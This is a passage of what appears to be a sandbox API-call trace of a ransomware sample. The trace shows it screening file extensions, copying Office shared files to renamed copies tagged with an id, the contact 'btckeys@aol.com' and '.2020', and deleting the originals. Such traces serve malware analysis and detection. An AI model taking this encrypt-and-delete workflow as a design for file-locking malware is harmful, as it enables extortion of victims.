(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.023] lstrlenW (lpString=".doc") returned 4 [0075.023] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString=".docx") returned 5 [0075.023] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.023] lstrlenW (lpString=".pdf") returned 4 [0075.023] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString=".xls") returned 4 [0075.023] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString=".xlsx") returned 5 [0075.023] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.023] lstrlenW (lpString=".ppt") returned 4 [0075.023] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.023] lstrlenW (lpString=".zip") returned 4 [0075.023] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.023] lstrlenW (lpString=".rar") returned 4 [0075.023] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString=".bz2") returned 4 [0075.023] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.023] lstrlenW (lpString=".7z") returned 3 [0075.024] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.024] lstrlenW (lpString=".dbf") returned 4 [0075.024] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.024] lstrlenW (lpString=".1cd") returned 4 [0075.024] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.024] lstrlenW (lpString=".jpg") returned 4 [0075.024] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.024] lstrlenW (lpString=".doc") returned 4 [0075.024] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString=".docx") returned 5 [0075.024] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.024] lstrlenW (lpString=".pdf") returned 4 [0075.024] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString=".xls") returned 4 [0075.024] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.024] lstrlenW (lpString=".xlsx") returned 5 [0075.024] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.024] lstrlenW (lpString=".ppt") returned 4 [0075.025] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.025] lstrlenW (lpString=".zip") returned 4 [0075.025] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.025] lstrlenW (lpString=".rar") returned 4 [0075.025] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.025] lstrlenW (lpString=".bz2") returned 4 [0075.025] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.025] lstrlenW (lpString=".7z") returned 3 [0075.025] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.025] lstrlenW (lpString=".dbf") returned 4 [0075.025] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.025] lstrlenW (lpString=".1cd") returned 4 [0075.025] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0075.025] lstrlenW (lpString=".jpg") returned 4 [0075.025] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.026] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.026] lstrlenW (lpString="SETUP.XML") returned 9 [0075.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.418] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=5884) returned 1 [0075.418] CloseHandle (hObject=0x1e0) returned 1 [0075.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0075.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.434] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.434] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.641] GetLastError () returned 0x0 [0075.641] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x16fc, lpOverlapped=0x0) returned 1 [0075.643] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x1700, lpOverlapped=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0075.644] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.645] SetEndOfFile (hFile=0x1e4) returned 1 [0075.645] CloseHandle (hObject=0x1e4) returned 1 [0075.645] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.645] SetEndOfFile (hFile=0x1e8) returned 1 [0075.646] CloseHandle (hObject=0x1e8) returned 1 [0075.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0075.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".doc") returned 4 [0075.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString=".docx") returned 5 [0075.647] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.647] lstrlenW (lpString=".pdf") returned 4 [0075.647] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString=".xls") returned 4 [0075.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString=".xlsx") returned 5 [0075.647] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.647] lstrlenW (lpString=".ppt") returned 4 [0075.647] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".zip") returned 4 [0075.647] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.647] lstrlenW (lpString=".rar") returned 4 [0075.647] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString=".bz2") returned 4 [0075.647] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString=".7z") returned 3 [0075.647] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".dbf") returned 4 [0075.647] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".1cd") returned 4 [0075.647] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".jpg") returned 4 [0075.647] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.647] lstrlenW (lpString=".doc") returned 4 [0075.648] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString=".docx") returned 5 [0075.648] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.648] lstrlenW (lpString=".pdf") returned 4 [0075.648] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString=".xls") returned 4 [0075.648] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString=".xlsx") returned 5 [0075.648] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.648] lstrlenW (lpString=".ppt") returned 4 [0075.648] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.648] lstrlenW (lpString=".zip") returned 4 [0075.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.648] lstrlenW (lpString=".rar") returned 4 [0075.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString=".bz2") returned 4 [0075.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString=".7z") returned 3 [0075.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.648] lstrlenW (lpString=".dbf") returned 4 [0075.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.648] lstrlenW (lpString=".1cd") returned 4 [0075.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0075.648] lstrlenW (lpString=".jpg") returned 4 [0075.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.648] lstrcmpiW (lpString1=".HTM", lpString2=".2020") returned 1 [0075.648] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0075.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.650] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=11463) returned 1 [0075.650] CloseHandle (hObject=0x1e8) returned 1 [0075.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0075.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.650] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.650] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.652] GetLastError () returned 0x0 [0075.652] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0075.654] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0075.655] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0075.655] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0075.655] SetEndOfFile (hFile=0x1e4) returned 1 [0075.655] CloseHandle (hObject=0x1e4) returned 1 [0075.655] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.655] SetEndOfFile (hFile=0x1e8) returned 1 [0075.656] CloseHandle (hObject=0x1e8) returned 1 [0075.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.657] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0075.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.657] lstrlenW (lpString=".doc") returned 4 [0075.657] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0075.657] lstrlenW (lpString=".docx") returned 5 [0075.657] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0075.657] lstrlenW (lpString=".pdf") returned 4 [0075.657] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0075.657] lstrlenW (lpString=".xls") returned 4 [0075.657] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0075.657] lstrlenW (lpString=".xlsx") returned 5 [0075.657] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0075.657] lstrlenW (lpString=".ppt") returned 4 [0075.657] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString=".zip") returned 4 [0075.658] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0075.658] lstrlenW (lpString=".rar") returned 4 [0075.658] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0075.658] lstrlenW (lpString=".bz2") returned 4 [0075.658] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0075.658] lstrlenW (lpString=".7z") returned 3 [0075.658] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString=".dbf") returned 4 [0075.658] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString=".1cd") returned 4 [0075.658] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString=".jpg") returned 4 [0075.658] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.658] lstrlenW (lpString=".doc") returned 4 [0075.658] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0075.658] lstrlenW (lpString=".docx") returned 5 [0075.658] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0075.658] lstrlenW (lpString=".pdf") returned 4 [0075.658] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0075.658] lstrlenW (lpString=".xls") returned 4 [0075.658] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0075.659] lstrlenW (lpString=".xlsx") returned 5 [0075.659] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0075.659] lstrlenW (lpString=".ppt") returned 4 [0075.659] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0075.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.659] lstrlenW (lpString=".zip") returned 4 [0075.659] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0075.659] lstrlenW (lpString=".rar") returned 4 [0075.659] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0075.659] lstrlenW (lpString=".bz2") returned 4 [0075.659] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0075.659] lstrlenW (lpString=".7z") returned 3 [0075.659] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0075.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.659] lstrlenW (lpString=".dbf") returned 4 [0075.659] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0075.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.659] lstrlenW (lpString=".1cd") returned 4 [0075.659] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0075.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0075.659] lstrlenW (lpString=".jpg") returned 4 [0075.659] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0075.659] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.659] lstrlenW (lpString="DATES.XML") returned 9 [0075.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.660] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=8918) returned 1 [0075.660] CloseHandle (hObject=0x1e8) returned 1 [0075.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0075.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.661] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.661] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.662] GetLastError () returned 0x0 [0075.662] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x22d6, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0075.668] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0075.668] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.668] SetEndOfFile (hFile=0x1e4) returned 1 [0075.668] CloseHandle (hObject=0x1e4) returned 1 [0075.668] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.668] SetEndOfFile (hFile=0x1e8) returned 1 [0075.669] CloseHandle 